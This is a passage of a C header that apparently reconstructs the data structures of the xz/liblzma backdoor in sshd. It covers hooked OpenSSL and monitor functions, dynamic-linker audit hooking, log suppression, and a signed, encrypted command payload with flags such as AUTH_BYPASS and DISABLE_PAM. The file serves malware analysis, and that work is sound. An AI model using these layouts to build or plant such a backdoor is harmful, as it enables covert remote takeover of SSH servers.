        const unsigned char *key, size_t keylen);
    EVP_MD_CTX *(*EVP_MD_CTX_new)(void);
    int (*EVP_DigestVerifyInit)(
        EVP_MD_CTX *ctx, EVP_PKEY_CTX **pctx,
        const EVP_MD *type, ENGINE *e, EVP_PKEY *pkey);
    int (*EVP_DigestVerify)(
        EVP_MD_CTX *ctx, const unsigned char *sig,
        size_t siglen, const unsigned char *tbs, size_t tbslen);
    void (*EVP_MD_CTX_free)(EVP_MD_CTX *ctx);
    void (*EVP_PKEY_free)(EVP_PKEY *key);
    EVP_CIPHER_CTX *(*EVP_CIPHER_CTX_new)(void);
    int (*EVP_DecryptInit_ex)(
        EVP_CIPHER_CTX *ctx, const EVP_CIPHER *type,
        ENGINE *impl, const unsigned char *key, const unsigned char *iv);
    int (*EVP_DecryptUpdate)(
        EVP_CIPHER_CTX *ctx, unsigned char *out,
        int *outl, const unsigned char *in, int inl);
    int (*EVP_DecryptFinal_ex)(EVP_CIPHER_CTX *ctx, unsigned char *outm, int *outl);
    void (*EVP_CIPHER_CTX_free)(EVP_CIPHER_CTX *ctx);
    const EVP_CIPHER *(*EVP_chacha20)(void);
    RSA *(*RSA_new)(void);
    BIGNUM *(*BN_dup)(const BIGNUM *from);
    BIGNUM *(*BN_bin2bn)(const unsigned char *s, int len, BIGNUM *ret);
    int (*RSA_set0_key)(RSA *r, BIGNUM *n, BIGNUM *e, BIGNUM *d);
    int (*EVP_Digest)(
        const void *data, size_t count, unsigned char *md,
        unsigned int *size, const EVP_MD *type, ENGINE *impl);
    int (*RSA_sign)(
        int type,
        const unsigned char *m, unsigned int m_len,
        unsigned char *sigret, unsigned int *siglen, RSA *rsa);
    int (*BN_bn2bin)(const BIGNUM *a, unsigned char *to);
    void (*RSA_free)(RSA *rsa);
    void (*BN_free)(BIGNUM *a);
    libc_imports_t *libc;
    u32 resolved_imports_count;
    PADDING(4);
} imported_funcs_t;
 
assert_offset(imported_funcs_t, RSA_public_decrypt, 0);
assert_offset(imported_funcs_t, EVP_PKEY_set1_RSA, 8);
assert_offset(imported_funcs_t, RSA_get0_key_null, 0x10);
assert_offset(imported_funcs_t, RSA_public_decrypt_plt, 0x18);
assert_offset(imported_funcs_t, EVP_PKEY_set1_RSA_plt, 0x20);
assert_offset(imported_funcs_t, RSA_get0_key_plt, 0x28);
assert_offset(imported_funcs_t, DSA_get0_pqg, 0x30);
assert_offset(imported_funcs_t, DSA_get0_pub_key, 0x38);
assert_offset(imported_funcs_t, EC_POINT_point2oct, 0x40);
assert_offset(imported_funcs_t, EC_KEY_get0_public_key, 0x48);
assert_offset(imported_funcs_t, EC_KEY_get0_group, 0x50);
assert_offset(imported_funcs_t, EVP_sha256, 0x58);
assert_offset(imported_funcs_t, RSA_get0_key, 0x60);
assert_offset(imported_funcs_t, BN_num_bits, 0x68);
assert_offset(imported_funcs_t, EVP_PKEY_new_raw_public_key, 0x70);
assert_offset(imported_funcs_t, EVP_MD_CTX_new, 0x78);
assert_offset(imported_funcs_t, EVP_DigestVerifyInit, 0x80);
assert_offset(imported_funcs_t, EVP_DigestVerify, 0x88);
assert_offset(imported_funcs_t, EVP_MD_CTX_free, 0x90);
assert_offset(imported_funcs_t, EVP_PKEY_free, 0x98);
assert_offset(imported_funcs_t, EVP_CIPHER_CTX_new, 0xA0);
assert_offset(imported_funcs_t, EVP_DecryptInit_ex, 0xA8);
assert_offset(imported_funcs_t, EVP_DecryptUpdate, 0xB0);
assert_offset(imported_funcs_t, EVP_DecryptFinal_ex, 0xB8);
assert_offset(imported_funcs_t, EVP_CIPHER_CTX_free, 0xC0);
assert_offset(imported_funcs_t, EVP_chacha20, 0xC8);
assert_offset(imported_funcs_t, RSA_new, 0xD0);
assert_offset(imported_funcs_t, BN_dup, 0xD8);
assert_offset(imported_funcs_t, BN_bin2bn, 0xE0);
assert_offset(imported_funcs_t, RSA_set0_key, 0xE8);
assert_offset(imported_funcs_t, EVP_Digest, 0xF0);
assert_offset(imported_funcs_t, RSA_sign, 0xF8);
assert_offset(imported_funcs_t, BN_bn2bin, 0x100);
assert_offset(imported_funcs_t, RSA_free, 0x108);
assert_offset(imported_funcs_t, BN_free, 0x110);
assert_offset(imported_funcs_t, libc, 0x118);
assert_offset(imported_funcs_t, resolved_imports_count, 0x120);
static_assert(sizeof(imported_funcs_t) == 0x128);
 
struct ssh;
struct sshbuf;
 
typedef int (*sshd_monitor_func_t)(struct ssh *ssh, int sock, struct sshbuf *m);
 
typedef struct __attribute__((packed)) sshd_ctx {
    BOOL have_mm_answer_keyallowed;
    BOOL have_mm_answer_authpassword;
    BOOL have_mm_answer_keyverify;
    PADDING(0x4);
    sshd_monitor_func_t mm_answer_authpassword_hook;
    void *mm_answer_keyallowed;
    void *mm_answer_keyverify;
    void *mm_answer_authpassword_start;
    void *mm_answer_authpassword_end;
    sshd_monitor_func_t *mm_answer_authpassword_ptr;
    int monitor_reqtype_authpassword;
    PADDING(4);
    sshd_monitor_func_t *mm_answer_keyallowed_start;
    void *mm_answer_keyallowed_end;
    void *mm_answer_keyallowed_ptr;
    u32 mm_answer_keyallowed_reqtype;
    PADDING(4);
    void *mm_answer_keyverify_start;
    void *mm_answer_keyverify_end;
    void *mm_answer_keyverify_ptr;
    PADDING(0x4);
    u16 writebuf_size;
    PADDING(0x2);
    u8 *writebuf;
    PADDING(0x8);
    PADDING(0x8);
    char *STR_unknown_ptr;
    void *mm_request_send_start;
    void *mm_request_send_end;
    PADDING(sizeof(u32)); // BOOL?
    PADDING(sizeof(u32)); // BOOL?
    int *use_pam_ptr;
    int *permit_root_login_ptr;
    char *STR_without_password;
    char *STR_publickey;
} sshd_ctx_t;
 
assert_offset(sshd_ctx_t, have_mm_answer_keyallowed, 0x0);
assert_offset(sshd_ctx_t, have_mm_answer_authpassword, 0x4);
assert_offset(sshd_ctx_t, have_mm_answer_keyverify, 0x8);
assert_offset(sshd_ctx_t, mm_answer_authpassword_hook, 0x10);
assert_offset(sshd_ctx_t, mm_answer_keyallowed, 0x18);
assert_offset(sshd_ctx_t, mm_answer_keyverify, 0x20);
assert_offset(sshd_ctx_t, mm_answer_authpassword_start, 0x28);
assert_offset(sshd_ctx_t, mm_answer_authpassword_end, 0x30);
assert_offset(sshd_ctx_t, mm_answer_authpassword_ptr, 0x38);
assert_offset(sshd_ctx_t, monitor_reqtype_authpassword, 0x40);
assert_offset(sshd_ctx_t, mm_answer_keyallowed_start, 0x48);
assert_offset(sshd_ctx_t, mm_answer_keyallowed_end, 0x50);
assert_offset(sshd_ctx_t, mm_answer_keyallowed_ptr, 0x58);
assert_offset(sshd_ctx_t, mm_answer_keyallowed_reqtype, 0x60);
assert_offset(sshd_ctx_t, mm_answer_keyverify_start, 0x68);
assert_offset(sshd_ctx_t, mm_answer_keyverify_end, 0x70);
assert_offset(sshd_ctx_t, mm_answer_keyverify_ptr, 0x78);
assert_offset(sshd_ctx_t, writebuf_size, 0x84);
assert_offset(sshd_ctx_t, writebuf, 0x88);
assert_offset(sshd_ctx_t, STR_unknown_ptr, 0xA0);
assert_offset(sshd_ctx_t, mm_request_send_start, 0xA8);
assert_offset(sshd_ctx_t, mm_request_send_end, 0xB0);
assert_offset(sshd_ctx_t, use_pam_ptr, 0xC0);
assert_offset(sshd_ctx_t, permit_root_login_ptr, 0xC8);
assert_offset(sshd_ctx_t, STR_without_password, 0xD0);
assert_offset(sshd_ctx_t, STR_publickey, 0xD8);
 
typedef enum {
    SYSLOG_LEVEL_QUIET,
    SYSLOG_LEVEL_FATAL,
    SYSLOG_LEVEL_ERROR,
    SYSLOG_LEVEL_INFO,
    SYSLOG_LEVEL_VERBOSE,
    SYSLOG_LEVEL_DEBUG1,
    SYSLOG_LEVEL_DEBUG2,
    SYSLOG_LEVEL_DEBUG3,
    SYSLOG_LEVEL_NOT_SET = -1
} LogLevel;
 
typedef void (*log_handler_fn)(
    LogLevel level,
    int forced,
    const char *msg,
    void *ctx);
 
typedef struct __attribute__((packed)) sshd_log_ctx {
    BOOL logging_disabled;
    BOOL log_hooking_possible;
    BOOL syslog_disabled;
    PADDING(4);
    char *STR_percent_s;
    char *STR_Connection_closed_by;
    char *STR_preauth;
    char *STR_authenticating;
    char *STR_user;
    // Note: initially the two pointers may be swapped around.
    // sshd_configure_log_hook will ensure they're corrected if needed.
    void *log_handler_ptr;
    void *log_handler_ctx_ptr;
    log_handler_fn orig_log_handler;
    void *orig_log_handler_ctx;
    void *sshlogv;
    void (*mm_log_handler)(int level, int forced, const char *msg, void *ctx);
} sshd_log_ctx_t;
 
assert_offset(sshd_log_ctx_t, logging_disabled, 0x0);
assert_offset(sshd_log_ctx_t, log_hooking_possible, 0x4);
assert_offset(sshd_log_ctx_t, syslog_disabled, 0x8);
assert_offset(sshd_log_ctx_t, syslog_disabled, 0x8);
assert_offset(sshd_log_ctx_t, STR_percent_s, 0x10);
assert_offset(sshd_log_ctx_t, STR_Connection_closed_by, 0x18);
assert_offset(sshd_log_ctx_t, STR_preauth, 0x20);
assert_offset(sshd_log_ctx_t, STR_authenticating, 0x28);
assert_offset(sshd_log_ctx_t, STR_user, 0x30);
assert_offset(sshd_log_ctx_t, log_handler_ptr, 0x38);
assert_offset(sshd_log_ctx_t, log_handler_ctx_ptr, 0x40);
assert_offset(sshd_log_ctx_t, orig_log_handler, 0x48);
assert_offset(sshd_log_ctx_t, orig_log_handler_ctx, 0x50);
assert_offset(sshd_log_ctx_t, sshlogv, 0x58);
assert_offset(sshd_log_ctx_t, mm_log_handler, 0x60);
static_assert(sizeof(sshd_log_ctx_t) == 0x68);
 
typedef union __attribute__((packed)) sshd_offsets_kex {
    struct __attribute__((packed)) {
        u8 kex_qword_index;
        u8 pkex_offset;
    };
    u16 value;
} sshd_offsets_kex_t;
 
typedef union __attribute__((packed)) sshd_offsets_sshbuf {
    struct __attribute__((packed)) {
        u8 sshbuf_data_qword_index;
        u8 sshbuf_size_qword_index;
    };
    u16 value;
} sshd_offsets_sshbuf_t;
 
typedef struct __attribute__((packed)) sshd_offsets_fields {
    sshd_offsets_kex_t kex;
    sshd_offsets_sshbuf_t sshbuf;
} sshd_offsets_fields_t;
 
typedef struct __attribute__((packed)) sshd_offsets {
    union {
        struct {
            union {
                sshd_offsets_fields_t fields;
                u32 value;
            };
        };
        u32 raw_value;
    };
} sshd_offsets_t;
 
typedef struct __attribute__((packed)) sshd_payload_ctx {
} sshd_payload_ctx_t;
 
typedef struct __attribute__((packed)) global_context {
    BOOL uses_endbr64;
    PADDING(4);
    imported_funcs_t *imported_funcs;
    libc_imports_t* libc_imports;
    BOOL disable_backdoor;
    PADDING(4);
    sshd_ctx_t *sshd_ctx;
    struct sensitive_data *sshd_sensitive_data;
    sshd_log_ctx_t *sshd_log_ctx;
    char *STR_ssh_rsa_cert_v01_openssh_com;
    char *STR_rsa_sha2_256;
    struct monitor **struct_monitor_ptr_address;
    u32 exit_flag;
    sshd_offsets_t sshd_offsets;
 
    void *sshd_code_start;
    void *sshd_code_end;
    void *sshd_data_start;
    void *sshd_data_end;
    void *sshd_main;
    void *lzma_code_start;
    void *lzma_code_end;
    u32 uid;
    PADDING(4);
    u64 sock_read_buf_size;
    u8 sock_read_buf[64];
    u64 payload_data_size;
    u64 current_data_size;
    // signed data (size payload_data_size)
    u8 *payload_data;
    sshd_payload_ctx_t *sshd_payload_ctx;
    u32 sshd_host_pubkey_idx;
    u32 payload_state;
    u8 secret_data[ED448_KEY_SIZE];
    u8 shift_operations[31];
    u32 num_shifted_bits;
    PADDING(4);
} global_context_t;
 
assert_offset(global_context_t, uses_endbr64, 0x0);
assert_offset(global_context_t, imported_funcs, 0x8);
assert_offset(global_context_t, libc_imports, 0x10);
assert_offset(global_context_t, disable_backdoor, 0x18);
assert_offset(global_context_t, sshd_ctx, 0x20);
assert_offset(global_context_t, sshd_sensitive_data, 0x28);
assert_offset(global_context_t, sshd_log_ctx, 0x30);
assert_offset(global_context_t, STR_ssh_rsa_cert_v01_openssh_com, 0x38);
assert_offset(global_context_t, STR_rsa_sha2_256, 0x40);
assert_offset(global_context_t, struct_monitor_ptr_address, 0x48);
assert_offset(global_context_t, exit_flag, 0x50);
assert_offset(global_context_t, sshd_offsets, 0x54);
assert_offset(global_context_t, sshd_code_start, 0x58);
assert_offset(global_context_t, sshd_code_end, 0x60);
assert_offset(global_context_t, sshd_data_start, 0x68);
assert_offset(global_context_t, sshd_data_end, 0x70);
assert_offset(global_context_t, lzma_code_start, 0x80);
assert_offset(global_context_t, lzma_code_end, 0x88);
assert_offset(global_context_t, uid, 0x90);
assert_offset(global_context_t, sock_read_buf_size, 0x98);
assert_offset(global_context_t, sock_read_buf, 0xA0);
assert_offset(global_context_t, payload_data_size, 0xE0);
assert_offset(global_context_t, current_data_size, 0xE8);
assert_offset(global_context_t, payload_data, 0xF0);
assert_offset(global_context_t, sshd_payload_ctx, 0xF8);
assert_offset(global_context_t, sshd_host_pubkey_idx, 0x100);
assert_offset(global_context_t, payload_state, 0x104);
assert_offset(global_context_t, secret_data, 0x108);
assert_offset(global_context_t, shift_operations, 0x141);
assert_offset(global_context_t, num_shifted_bits, 0x160);
static_assert(sizeof(global_context_t) == 0x168);
 
typedef struct __attribute__((packed)) backdoor_shared_globals {
    sshd_monitor_func_t mm_answer_authpassword_hook;
    pfn_EVP_PKEY_set1_RSA_t hook_EVP_PKEY_set1_RSA;
    global_context_t **globals;
} backdoor_shared_globals_t;
 
assert_offset(backdoor_shared_globals_t, mm_answer_authpassword_hook, 0x0);
assert_offset(backdoor_shared_globals_t, hook_EVP_PKEY_set1_RSA, 0x8);
assert_offset(backdoor_shared_globals_t, globals, 0x10);
static_assert(sizeof(backdoor_shared_globals_t) == 0x18);
 
typedef struct __attribute__((packed)) ldso_ctx {
    PADDING(0x40);
    u32 *libcrypto_auditstate_bindflags_ptr;
    u32 libcrypto_auditstate_bindflags_old_value;
    PADDING(0x4);
    u32 *sshd_auditstate_bindflags_ptr;
    u32 sshd_auditstate_bindflags_old_value;
    PADDING(0x4);
    void* sshd_link_map_l_audit_any_plt_addr;
    u8 link_map_l_audit_any_plt_bitmask;
    PADDING(0x7);
    struct audit_ifaces **_dl_audit_ptr;
    unsigned int *_dl_naudit_ptr;
    struct audit_ifaces hooked_audit_ifaces;
    PADDING(0x30);
    char **libcrypto_l_name;
    void (*_dl_audit_symbind_alt)(struct link_map *l, const ElfW(Sym) *ref, void **value, lookup_t result);
    size_t _dl_audit_symbind_alt__size;
    pfn_RSA_public_decrypt_t hook_RSA_public_decrypt;
    pfn_EVP_PKEY_set1_RSA_t hook_EVP_PKEY_set1_RSA;
    pfn_RSA_get0_key_t hook_RSA_get0_key;
    imported_funcs_t *imported_funcs;
    u64 hooks_installed;
} ldso_ctx_t;
 
assert_offset(ldso_ctx_t, libcrypto_auditstate_bindflags_ptr, 0x40);
assert_offset(ldso_ctx_t, libcrypto_auditstate_bindflags_old_value, 0x48);
assert_offset(ldso_ctx_t, sshd_auditstate_bindflags_ptr, 0x50);
assert_offset(ldso_ctx_t, sshd_auditstate_bindflags_old_value, 0x58);
assert_offset(ldso_ctx_t, sshd_link_map_l_audit_any_plt_addr, 0x60);
assert_offset(ldso_ctx_t, link_map_l_audit_any_plt_bitmask, 0x68);
assert_offset(ldso_ctx_t, _dl_audit_ptr, 0x70);
assert_offset(ldso_ctx_t, _dl_naudit_ptr, 0x78);
assert_offset(ldso_ctx_t, hooked_audit_ifaces, 0x80);
static_assert(sizeof(struct audit_ifaces) == 0x48);
assert_offset(ldso_ctx_t, libcrypto_l_name, 0xF8);
assert_offset(ldso_ctx_t, _dl_audit_symbind_alt, 0x100);
assert_offset(ldso_ctx_t, _dl_audit_symbind_alt__size, 0x108);
assert_offset(ldso_ctx_t, hook_RSA_public_decrypt, 0x110);
assert_offset(ldso_ctx_t, hook_EVP_PKEY_set1_RSA, 0x118);
assert_offset(ldso_ctx_t, hook_RSA_get0_key, 0x120);
assert_offset(ldso_ctx_t, imported_funcs, 0x128);
assert_offset(ldso_ctx_t, hooks_installed, 0x130);
static_assert(sizeof(ldso_ctx_t) == 0x138);
 
 
typedef struct __attribute__((packed)) backdoor_hooks_data {
    ldso_ctx_t ldso_ctx;
    global_context_t global_ctx;
    imported_funcs_t imported_funcs;
    sshd_ctx_t sshd_ctx;
    libc_imports_t libc_imports;
    sshd_log_ctx_t sshd_log_ctx;
    u64 signed_data_size;
    u8 signed_data;
} backdoor_hooks_data_t;
 
assert_offset(backdoor_hooks_data_t, ldso_ctx, 0);
assert_offset(backdoor_hooks_data_t, global_ctx, 0x138);
assert_offset(backdoor_hooks_data_t, imported_funcs, 0x2A0);
assert_offset(backdoor_hooks_data_t, sshd_ctx, 0x3C8);
assert_offset(backdoor_hooks_data_t, libc_imports, 0x4A8);
assert_offset(backdoor_hooks_data_t, sshd_log_ctx, 0x518);
assert_offset(backdoor_hooks_data_t, signed_data_size, 0x580);
assert_offset(backdoor_hooks_data_t, signed_data, 0x588);
static_assert(sizeof(backdoor_hooks_data_t) >= 0x589);
 
typedef struct __attribute__((packed)) backdoor_hooks_ctx {
    PADDING(0x30);
    backdoor_shared_globals_t *shared;
    backdoor_hooks_data_t **hooks_data_addr;
    uintptr_t (*symbind64)(
        Elf64_Sym *sym, unsigned int ndx,
        uptr *refcook, uptr *defcook,
        unsigned int flags, const char *symname);
    pfn_RSA_public_decrypt_t hook_RSA_public_decrypt;
    pfn_RSA_get0_key_t hook_RSA_get0_key;
    log_handler_fn mm_log_handler;
    PADDING(sizeof(void *));
    PADDING(sizeof(void *));
    sshd_monitor_func_t mm_answer_keyallowed;
    sshd_monitor_func_t mm_answer_keyverify;
    PADDING(sizeof(void *));
} backdoor_hooks_ctx_t;
 
assert_offset(backdoor_hooks_ctx_t, shared, 0x30);
assert_offset(backdoor_hooks_ctx_t, hooks_data_addr, 0x38);
assert_offset(backdoor_hooks_ctx_t, symbind64, 0x40);
assert_offset(backdoor_hooks_ctx_t, hook_RSA_public_decrypt, 0x48);
assert_offset(backdoor_hooks_ctx_t, hook_RSA_get0_key, 0x50);
assert_offset(backdoor_hooks_ctx_t, mm_log_handler, 0x58);
assert_offset(backdoor_hooks_ctx_t, mm_answer_keyallowed, 0x70);
assert_offset(backdoor_hooks_ctx_t, mm_answer_keyverify, 0x78);
static_assert(sizeof(backdoor_hooks_ctx_t) == 0x88);
 
typedef struct __attribute__((packed)) backdoor_setup_params {
    PADDING(0x8);
    backdoor_shared_globals_t *shared;
    backdoor_hooks_ctx_t *hook_params;
    lzma_check_state dummy_check_state;
    elf_entry_ctx_t *entry_ctx;
} backdoor_setup_params_t;
 
assert_offset(backdoor_setup_params_t, shared, 0x8);
assert_offset(backdoor_setup_params_t, hook_params, 0x10);
assert_offset(backdoor_setup_params_t, entry_ctx, 0x80);
static_assert(sizeof(backdoor_setup_params_t) == 0x88);
 
typedef struct __attribute__((packed)) elf_handles {
    elf_info_t *main;
    elf_info_t *dynamic_linker;
    elf_info_t *libc;
    elf_info_t *liblzma;
    elf_info_t *libcrypto;
} elf_handles_t;
 
assert_offset(elf_handles_t, main, 0x0);
assert_offset(elf_handles_t, dynamic_linker, 0x8);
assert_offset(elf_handles_t, libc, 0x10);
assert_offset(elf_handles_t, liblzma, 0x18);
assert_offset(elf_handles_t, libcrypto, 0x20);
static_assert(sizeof(elf_handles_t) == 0x28);
 
typedef struct __attribute__((packed)) main_elf {
    elf_handles_t *elf_handles;
    Elf64_Ehdr *dynamic_linker_ehdr;
    void **__libc_stack_end;
} main_elf_t;
 
assert_offset(main_elf_t, elf_handles, 0x0);
assert_offset(main_elf_t, dynamic_linker_ehdr, 0x8);
assert_offset(main_elf_t, __libc_stack_end, 0x10);
static_assert(sizeof(main_elf_t) == 0x18);
 
typedef struct backdoor_data backdoor_data_t;
 
typedef struct __attribute__((packed)) backdoor_data_handle {
    backdoor_data_t *data;
    elf_handles_t *elf_handles;
} backdoor_data_handle_t;
 
assert_offset(backdoor_data_handle_t, data, 0x0);
assert_offset(backdoor_data_handle_t, elf_handles, 0x8);
 
typedef struct __attribute__((packed)) string_item {
    EncodedStringId string_id;
    PADDING(4);
    void *func_start;
    void *func_end;
    void *xref;
} string_item_t;
 
assert_offset(string_item_t, string_id, 0);
assert_offset(string_item_t, func_start, 0x8);
assert_offset(string_item_t, func_end, 0x10);
assert_offset(string_item_t, xref, 0x18);
static_assert(sizeof(string_item_t) == 0x20);
 
typedef struct __attribute__((packed)) string_references {
    string_item_t entries[27];
} string_references_t;
 
assert_offset(string_references_t, entries, 0);
static_assert(sizeof(string_references_t) == 0x360);
 
typedef struct __attribute__((packed)) backdoor_data {
    struct link_map *main_map;
    struct link_map *dynamic_linker_map;
    struct link_map *liblzma_map;
    struct link_map *libcrypto_map;
    struct link_map *libsystemd_map;
    struct link_map *libc_map;
 
    elf_handles_t elf_handles;
 
    backdoor_data_handle_t data_handle;
 
    elf_info_t main_info;
    elf_info_t dynamic_linker_info;
    elf_info_t libc_info;
    elf_info_t liblzma_info;
    elf_info_t libcrypto_info;
 
    libc_imports_t libc_imports;
    string_references_t string_refs;
    lzma_allocator fake_allocator;
    lzma_allocator *import_resolver;
} backdoor_data_t;
 
assert_offset(backdoor_data_t, main_map, 0);
assert_offset(backdoor_data_t, dynamic_linker_map, 0x8);
assert_offset(backdoor_data_t, liblzma_map, 0x10);
assert_offset(backdoor_data_t, libcrypto_map, 0x18);
assert_offset(backdoor_data_t, libsystemd_map, 0x20);
assert_offset(backdoor_data_t, libc_map, 0x28);
assert_offset(backdoor_data_t, elf_handles, 0x30);
assert_offset(backdoor_data_t, data_handle, 0x58);
assert_offset(backdoor_data_t, main_info, 0x68);
assert_offset(backdoor_data_t, dynamic_linker_info, 0x168);
assert_offset(backdoor_data_t, libc_info, 0x268);
assert_offset(backdoor_data_t, liblzma_info, 0x368);
assert_offset(backdoor_data_t, libcrypto_info, 0x468);
assert_offset(backdoor_data_t, libc_imports, 0x568);
assert_offset(backdoor_data_t, string_refs, 0x5D8);
assert_offset(backdoor_data_t, fake_allocator, 0x938);
assert_offset(backdoor_data_t, import_resolver, 0x950);
static_assert(sizeof(backdoor_data_t) == 0x958);
 
typedef struct __attribute__((packed)) backdoor_shared_libraries_data {
    backdoor_data_t *data;
    elf_handles_t *elf_handles;
    void* RSA_public_decrypt_plt;
    void* EVP_PKEY_set1_RSA_plt;
    void* RSA_get0_key_plt;
    backdoor_hooks_data_t **hooks_data_addr;
    libc_imports_t *libc_imports;
} backdoor_shared_libraries_data_t;
 
assert_offset(backdoor_shared_libraries_data_t, data, 0x0);
assert_offset(backdoor_shared_libraries_data_t, elf_handles, 0x8);
assert_offset(backdoor_shared_libraries_data_t, RSA_public_decrypt_plt, 0x10);
assert_offset(backdoor_shared_libraries_data_t, EVP_PKEY_set1_RSA_plt, 0x18);
assert_offset(backdoor_shared_libraries_data_t, RSA_get0_key_plt, 0x20);
assert_offset(backdoor_shared_libraries_data_t, hooks_data_addr, 0x28);
assert_offset(backdoor_shared_libraries_data_t, libc_imports, 0x30);
 
typedef union {
    u32 index;
    struct {
        u32 bit_index : 3;
        u32 byte_index : 29;
    };
} secret_data_shift_cursor_t;
 
typedef struct __attribute__((packed)) secret_data_item {
    u8 *code;
    secret_data_shift_cursor_t shift_cursor;
    u32 operation_index;
    u32 shift_count;
    u32 index;
} secret_data_item_t;
 
assert_offset(secret_data_item_t, code, 0x0);
assert_offset(secret_data_item_t, shift_cursor, 0x8);
assert_offset(secret_data_item_t, operation_index, 0xC);
assert_offset(secret_data_item_t, shift_count, 0x10);
assert_offset(secret_data_item_t, index, 0x14);
static_assert(sizeof(secret_data_item_t) == 0x18);
 
typedef struct __attribute__((packed)) key_payload_hdr {
    union {
        u8 bytes[16];
        struct __attribute__((packed)) {
            u32 field_a;
            u32 field_b;
            u64 field_c;
        };
    };
} backdoor_payload_hdr_t;
static_assert(sizeof(backdoor_payload_hdr_t) == 16);
 
typedef union __attribute__((packed)) {
    u8 value[2];
    u16 size;
} u_cmd_arguments_t;
 
typedef struct __attribute__((packed)) cmd_arguments {
    u8 flags1;
    u8 flags2;
    u8 flags3;
    u_cmd_arguments_t u;
} cmd_arguments_t;
 
typedef struct __attribute__((packed)) key_payload_body {
    u8 signature[ED448_SIGNATURE_SIZE];
    cmd_arguments_t args;
    u8 data[0x1A1];
} backdoor_payload_body_t;
 
assert_offset(backdoor_payload_body_t, args, 0x72);
 
typedef struct __attribute__((packed)) backdoor_payload {
    union {
        u8 data[0x228];
        struct __attribute__((packed)) {
            backdoor_payload_hdr_t header;
            backdoor_payload_body_t body;
        };
    };
} backdoor_payload_t;
static_assert(sizeof(backdoor_payload_t) == 0x228);
assert_offset(backdoor_payload_t, header, 0);
assert_offset(backdoor_payload_t, body, 16);
 
typedef struct __attribute__((packed)) key_payload {
    union {
        u8 data[0];
        struct __attribute__((packed)) {
            backdoor_payload_hdr_t hdr;
            u16 body_length;
            u8 body[0];
        };
    };
} key_payload_t;
assert_offset(key_payload_t, hdr, 0);
assert_offset(key_payload_t, body_length, 16);
assert_offset(key_payload_t, body, 18);
 
#define TEST_FLAG(x, flag) (((x) & (flag)) != 0)
 
enum CommandFlags1 {
    X_FLAGS1_8BYTES = 0x1,
    X_FLAGS1_SETLOGMASK = 0x4,
    X_FLAGS1_SOCKET_INDEX = 0x20,
    X_FLAGS1_DISABLE_PAM = 0x40,
    X_FLAGS1_NO_EXTENDED_SIZE = 0x80
};
 
enum CommandFlags2 {
    X_FLAGS2_IMPERSONATE = 0x1,
    X_FLAGS2_CHANGE_MONITOR_REQ = 0x2,
    X_FLAGS2_AUTH_BYPASS = 0x4,
    X_FLAGS2_CONTINUATION = 0x40,
    X_FLAGS2_PSELECT = 0xC0,
 
    X_FLAGS2_SOCKFD_MASK = 0x78
};
 
enum CommandFlags3 {
    X_FLAGS3_SOCKET_NUM = 0x1F,
    X_FLAGS3_MONITOR_REQ_VAL = 0x3F
};
 
assert_offset(cmd_arguments_t, flags1, 0);
assert_offset(cmd_arguments_t, flags2, 1);
assert_offset(cmd_arguments_t, flags3, 2);
assert_offset(cmd_arguments_t, u, 3);
static_assert(sizeof(cmd_arguments_t) == 0x5);
 
typedef struct __attribute__((packed)) key_ctx {
    const BIGNUM *rsa_n;
    const BIGNUM *rsa_e;
    cmd_arguments_t args;
    backdoor_payload_t payload;
    PADDING(CHACHA20_KEY_SIZE + CHACHA20_IV_SIZE);
    u8 ivec[CHACHA20_IV_SIZE];
    u8 ed448_key[ED448_KEY_SIZE];
    PADDING(2);
} key_ctx_t;
 
assert_offset(key_ctx_t, rsa_n, 0);
assert_offset(key_ctx_t, rsa_e, 0x8);
assert_offset(key_ctx_t, args, 0x10);
assert_offset(key_ctx_t, payload, 0x15);
assert_offset(key_ctx_t, ivec, 0x26D);
assert_offset(key_ctx_t, ed448_key, 0x27D);
 
typedef struct __attribute__((packed)) monitor_data {
    u32 cmd_type;
    PADDING(4);
    cmd_arguments_t *args;
    const BIGNUM *rsa_n;
    const BIGNUM *rsa_e;
    u8 *payload_body;
    u16 payload_body_size;
    PADDING(6);
    RSA *rsa;
} monitor_data_t;
 
assert_offset(monitor_data_t, cmd_type, 0);
assert_offset(monitor_data_t, args, 0x8);
assert_offset(monitor_data_t, rsa_n, 0x10);
assert_offset(monitor_data_t, rsa_e, 0x18);
assert_offset(monitor_data_t, payload_body, 0x20);
assert_offset(monitor_data_t, payload_body_size, 0x28);
assert_offset(monitor_data_t, rsa, 0x30);
 
typedef union __attribute__((packed)) backdoor_runtime_data {
#ifndef XZRE_SLIM
    struct timespec timespec;
    fd_set fd_set;
#endif
    monitor_data_t monitor;
    u8 data[608];
} backdoor_runtime_data_t;
 
typedef struct __attribute__((packed)) run_backdoor_commands_data {
    u64 body_size;
    BOOL *p_do_orig;
    u64 payload_size;
    u64 hostkey_hash_offset;
    RSA *rsa;
    u8 *payload_data_ptr;
    u8 *ed448_key_ptr;
    u64 num_keys;
    PADDING(4);
    u32 key_cur_idx;
    u64 key_prev_idx;
    PADDING(7);
    u8 unk57;
    union {
        struct __attribute__((packed)) {
            int socket_fd;
            u32 fd_recv_size;
            u8 fd_recv_buf[64];
        } sock;
        struct __attribute__((packed)) {
            u64 num_host_keys;
            u64 num_host_pubkeys;
            u8 ed448_key[ED448_KEY_SIZE];
        } keys;
    } u;
    PADDING(7);
    backdoor_runtime_data_t data;
    key_ctx_t kctx;
} run_backdoor_commands_data_t;
 
assert_offset(run_backdoor_commands_data_t, body_size, 0);
assert_offset(run_backdoor_commands_data_t, p_do_orig, 8);
assert_offset(run_backdoor_commands_data_t, payload_size, 0x10);
assert_offset(run_backdoor_commands_data_t, hostkey_hash_offset, 0x18);
assert_offset(run_backdoor_commands_data_t, rsa, 0x20);
assert_offset(run_backdoor_commands_data_t, ed448_key_ptr, 0x30);
assert_offset(run_backdoor_commands_data_t, num_keys, 0x38);
assert_offset(run_backdoor_commands_data_t, key_cur_idx, 0x44);
assert_offset(run_backdoor_commands_data_t, key_prev_idx, 0x48);
assert_offset(run_backdoor_commands_data_t, unk57, 0x57);
assert_offset(run_backdoor_commands_data_t, u.keys.num_host_keys, 0x58);
assert_offset(run_backdoor_commands_data_t, u.keys.num_host_pubkeys, 0x60);
assert_offset(run_backdoor_commands_data_t, u.keys.ed448_key, 0x68);
assert_offset(run_backdoor_commands_data_t, data, 0xA8);
assert_offset(run_backdoor_commands_data_t, kctx, 0x308);
 
 
typedef struct __attribute__((packed)) backdoor_cpuid_reloc_consts {
    ptrdiff_t cpuid_random_symbol_got_offset;
    u64 cpuid_got_index;
    ptrdiff_t backdoor_init_stage2_got_offset;
} backdoor_cpuid_reloc_consts_t;
 
